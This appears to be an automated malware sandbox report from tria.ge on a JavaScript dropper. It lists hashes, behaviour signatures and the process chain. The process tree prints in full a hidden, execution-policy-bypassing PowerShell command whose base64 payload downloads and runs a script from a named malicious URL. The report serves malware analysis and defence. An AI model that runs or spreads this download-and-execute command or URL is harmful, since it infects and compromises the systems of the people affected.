Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24/12/2023, 14:39

General

  • Target

    01a6c61bfaf8b588ddcc9bff1f8122f0.js

  • Size

    105KB

  • MD5

    01a6c61bfaf8b588ddcc9bff1f8122f0

  • SHA1

    7b096f834e5438f1dba36e1f80588120991a5608

  • SHA256

    7113ee92ac34133d41abaffdd2545450df151d83030d49117333e8b939419f17

  • SHA512

    5e805ad3e0960b22303fb2fa51936c877c6cfb45edc3aa92696af5cf66f951cccad7f1b0dacb20f50bff8ee3674003047a6a231b3c3a8d56c6a4c60bef5fa904

  • SSDEEP

    3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXA:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVGh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\01a6c61bfaf8b588ddcc9bff1f8122f0.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2428-5-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2428-6-0x0000000002560000-0x0000000002568000-memory.dmp

    Filesize

    32KB

  • memory/2428-10-0x0000000002250000-0x00000000022D0000-memory.dmp

    Filesize

    512KB

  • memory/2428-9-0x0000000002250000-0x00000000022D0000-memory.dmp

    Filesize

    512KB

  • memory/2428-8-0x0000000002250000-0x00000000022D0000-memory.dmp

    Filesize

    512KB

  • memory/2428-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2428-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2428-12-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB